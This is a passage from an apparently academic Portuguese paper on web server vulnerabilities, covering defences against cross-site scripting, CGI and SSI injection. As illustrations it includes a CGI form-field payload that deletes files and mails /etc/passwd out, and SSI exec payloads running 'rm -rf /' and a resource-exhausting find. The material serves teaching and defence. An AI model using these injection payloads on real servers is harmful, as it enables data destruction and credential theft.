Este é um exemplo fraco, mas um atacante pode causar muito mais dano, como roubar senhas, resetar sua homepage ou redirecionar para outro site.

3.4.3) Como prevenir CSS

Há medidas que podem ser tomadas para ajudá­lo a prevenir esses tipos de ataques:

• Sempre faça as entradas provenientes de fontes externas passarem por um processo de validação, como qualquer entrada de formulários, cookies ou uploads de arquivos.

• Defina estritamente tipos de dados permitidos. Rejeitando tudo, exceto entradas válidas (em vez de rejeitar apenas entrada inválida conhecida, pois assim se impedira que os crackers venham com maneiras mais difíceis de evitar o seu validador).

• Se você já está validando caracteres válidos (e você geralmente deve), isto é feito facilmente omitindo os caráter especiais simplesmente da lista de caráter válidos. 

• Sempre valide a entrada após decodificá­la, e não antes. Isso impede que o cracker lhe passe variantes de código de exploração codificados na URL.

• Sempre especifique o charset para todas as páginas dinâmicas (e, preferencialmente, para qualquer página). Os navegadores usam conjuntos de caracteres (charsets) padrão diferentes dependendo de diversos fatores. Foram criadas explorações que aproveitaram­se da ambigüidade do charset para enviar texto aparentemente inútil em seu site que, quando exibido em um determinado charset, produzia uma efeito de ativação entre sites.

Concluindo, os problemas com CSS não podem ser menosprezados em hipótese alguma, 

Page 17: Vulnerabilidades servidor web

vários ataques dessa natureza em grandes sites pelo mundo. Com uma brecha desta, só depende da curiosidade e criatividade do atacante e deixando claro que este problema afeta qualquer linguagem que permite desenvolvimento de aplicações web, independente de plataforma. 

3.5) Ataques via CGI Scripts

3.5.1) Introdução sobre CGI

CGI significa Common Gateway Interface e é uma tecnologia utilizada para fazer a passagem (gateway) entre o browser e as aplicações residentes no servidor. 

É uma aplicação de servidores utilizada geralmente para 1) processar solicitações do navegador (browser) através de formulários HTML, enviando o resultado em páginas dinâmicas HTML, 2) mostrar banners publicitários, permitir o envio de mensagens, 3) efectuar o processamento de contadores de acesso a páginas web , dentre outras aplicações, utilizando­se linguagens como Perl, C e C++.

           Páginas interativas utilizando CGI consistem na forma mais conveniente de manipular dados no servidor web. Mas infelizmente existem alguns riscos de segurança para servidores web rodando em UNIX. 

Embora remover os serviços de CGI possa parecer uma opção, isso definitivamente seria uma coisa fora da realidade. Para garantir segurança ao seu servidor web, você primeiramente tem que definir uma política para CGI.

3.5.2) Exemplo de ataques sobre CGI Scripts

• Enviar o arquivo de senha (sem shadow) para ele mesmo.

• Obter informações do sistema armazenadas no /etc.

• Com algumas linhas de Perl, ele pode “startar” uma porta alta no seu servidor    e dar um telnet.

• Deletar sistemas de arquivos importantes e arquivos de configuração.

• Fazer negação de serviço em portas específicas

• Fazer exploração exaustiva do seu sistema de arquivos.

• etc ...

3.5.3) Exemplo de um  ataque via CGI

Esse exemplo basea­se numa chamada CGI em PERL

Imagine que um usuário chamado Sr. X tenha o seguinte formuário na web : 

<HTML> 

Page 18: Vulnerabilidades servidor web

  <BODY>    <H1> Formulário de resposta para Sr. X </H1>    <FORM  ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get">       <INPUT TYPE="hidden" NAME="meu_endereco"  VALUE="[email protected]">       <INPUT TYPE="text"      NAME="comentario">       <INPUT TYPE="submit" VALUE="Enviar comentário">    </FORM>  </BODY> </HTML> 

Este é um formulário simples, no qual o usuário entra com uma mensagem para ser enviada para um script chamado resposta.pl. Dentro do script resposta.pl vamos encontrar a seguinte linha (suponha que as váriaveis já tenham sido passadas): 

system("/usr/lib/sendmail ­t $meu_endereco < $arq_temp") 

Com a resposta do formulário sendo gravada em um arquivo temporário para ser enviada via e­mail para o Sr. X. Agora imagine que o hacker tenha salvo o formulário localmente e setado o mesmo com o seguinte valores : 

<HTML>   <BODY>    <H1> Invadindo algum.lugar.com.br ! </H1>    <FORM  ACTION="http://www.algum.lugar.com.br/cgi­bin/resposta.pl" METHOD="get">       <INPUT TYPE="hidden" NAME="meu_endereco"              VALUE="; rm *; mail ­s [email protected] < /etc/passwd;">       <INPUT TYPE="text"      NAME="comentario">       <INPUT TYPE="submit" VALUE="Enviar para hacker">    </FORM>  </BODY> </HTML> 

Os pontos­e­virgula no campo hidden são um delimitador para separar comandos UNIX, possibilitando a execução semelhante a uma linha de comando shell. A chamada de sistema em Perl gera um shell UNIX, e neste caso, executa os comandos do campo value, removendo os arquivos do diretório corente e enviando um e­mail com o arquivo de senhas para o hacker. 

3.5.4) Como prevenir ataques via CGI

O primeiro ponto para definir uma política de segurança para os CGIs é considerar o dono dos processos que são executados no servidor web. Muitos problemas de CGI estão relacionados com user id (UID) e group id (GID) dos processos do servidor web. Os processos do nosso servidor web nunca devem rodar como root. Rodar o servidor web com a combinação nobody, nogroup é razoável pois dá o mínimo de privilégio os programas CGI. Uma alternativa interessante é rodar os processos do servidor web com um UID e GID específico, por exemplo "www". Isso garante que o servidor web não vai entrar em conflito com outros serviços que rodam como nobody. Para 

Page 19: Vulnerabilidades servidor web

configurar o UID e GID no Apache e no NSCA, veja o arquivo httpd.conf.

Em muitos servidores web os CGIs são escritos por diferentes pessoas com vários níveis de experiência. Para programadores UNIX experientes é relativamente fácil encontra furos em CGI através do protocolo HTTP. Para facilitar a administração e diminuir os riscos potenciais de segurança, você deve definir somente um diretório de CGI executáveis (em muitos servidores UNIX ele é chamado de cgi­bin) e permitir acesso de gravação somente para os programadores com conciência e com competência.

Muitos servidores web oferencem várias opções para setar a estrutura do seu diretório de CGI. Você pode definir que os programas com extenção .cgi ou .pl, podem ficar localizados em qualquer lugar abaixo do root do servidor web. Esta é uma configuração ameaçadora, pois torna a monitoração e manutenção dos scripts muito difícil. É recomendável com precaução extra que os scripts só rodem embaixo do "Server root"

Você não deve permitir que qualquer usuário tenha acesso ao conteúdo do seu diretório de CGI atravez da opção Index; desative esta opção no arquivo access.conf.

Não deve confiar na informações passadas via script CGI. Em geral, não permita os seguintes meta­caracteres na entrada de usuários: ;  >  <  &  *  ` |  $  # 

3.6) Ataques via SSI

3.6.1) Introdução sobre SSI

SSI ( Server­Side Includes) são comandos extensivos (marcações) à linguagem HTML que são processados pelo servidor Web antes da pagina HTML ser enviada. 

No lugar do comando é enviado apenas o resultado do comando no formato normal de texto HTML.

Os documentos HTML que contém SSI geralmente terminam com a extenção .shtml.

SSIs são utilizadas, por exemplo, na inclusão de assinaturas ou logotipos de empresas em todos os arquivos criados. O “arquivo include” (que contém essa assinatura ou logotipo) fica armazenado no servidor, sendo incluído sempre que um arquivo HTML que contenha um comando include for solicitado.

Veja uma lista dos comandos SSI com uma breve descrição:   

config Define o formato de horário, tamanho ou mensagens de erro.

echo Insere os valores das variáveis SSI em páginas HTML.

exec Executa um comando de sistema ou um programa CGI, inserido a saida gerada pelo programa na página da web.

flastmod Insere na página a data de última modificação do arquivo.

fsize Insere na página o tamanho do arquivo.

include Insere o conteudo de arquivos HTML em páginas da web.

Page 20: Vulnerabilidades servidor web

3.6.2) Exemplo de vulnerabilidade

Imagine um livro de visitas (guestbook) onde as pessoas podem colocar seu comentários. Suponha que um hacker insira um dos comandos em um dos espaços a preencher.

1) <!­­#exec cmd="/bin/rm ­rf /" ­­> 

Na próxima vez que algum navegador acessar a página, todos os arquivos do diretório corrente serão deletados. 

2) <!­­#exec cmd="find / ­name nome_arq ­print" ­­> 

Ele vai procura por um arquivo chamado ‘nome_arq’. Se o hacker colocar isso algumas centenas de vezes no seu livro de visitas, seu servidor com certeza vai parar. 

3.6.3) Como prevenir ataques via SSI

• Se seu servidor permite rodar programas CGI e forem seguidas as mesmas restrições definidas para os programas CGI quando utilados os SSI, não haverá riscos adicionais; caso você não tenha certeza quanto as restrições dos CGIs recomendo desabilitar o comando exec do SSI, o qual executa comandos com o UID do servidor web.

• Uma possível solução seria desabilitar o SSI em servidores NCSA e Apache, olhe o arquivo access.conf  e tenha certeza de que a diretiva "Includes" não esteja na lista de opções. Aqui está um exemplo do diretório root, mas você deve verificar todos os diretórios definidos : 

#/home/www/docs  inicio do root <Directory  /home/www/docs> 

# Aqui pode existir "None", "All" ou qualquer combinação de # "Indexes", "Includes", "FollowSymLinks", # "ExecCGI"ou "MultiViews". 

Options Indexes FollowSymLinks </Directory> 

• Cheque também no arquivo srm.conf, as seguintes linhas : 

Addtype text/server­parsed­html .shtml     # todos os arquivos terminados com .shtml pode executas comandos SSI 

Addtype text/server­parsed­html .html      # todos os arquivos terminados com .html podem 

Page 21: Vulnerabilidades servidor web

executar comandos SSI 

• Se vc quiser utilizar comandos mais simples do SSI no seu servidor, é aconselhável desabilitar o comando exec, para isso coloque "IncludesNOEXEC" na lista de configuração e só permita a execução de comandos SSI nas páginas com extenção .shtml. Isso vai eliminar a maioria dos problemas; mas você ainda está sujeito a brincadeiras. Por exemplo, considere uma centena destas linhas no seu livro de visitas : 

<!­­#echo var="LAST MODIFIED" ­­>

4) Conclusão

Através de nossas avaliações verificamos que servidor mais seguro é o Apache e isto é evidenciado pela preferência deste em relação a outros servidores web pelos administradores de hosts.

Nosso objetivo acima foi mostrar as principais vulnerabilidades presentes nas aplicações em WebServers e algumas tentativas de eliminá­las (que por enquanto são aplicáveis). Essas vulnerabilidades foram escolhidas devido a sua freqüência na literatura e citações na internet.

Elas foram abordadas de forma bem ampla, pois há dezenas de vulnerabilidades que as exploram e a cada dia surgem novas vulnerabilidades baseadas nelas, veja como exemplo a freqüência com que vulnerabilidades explorando buffer overflow são encontradas.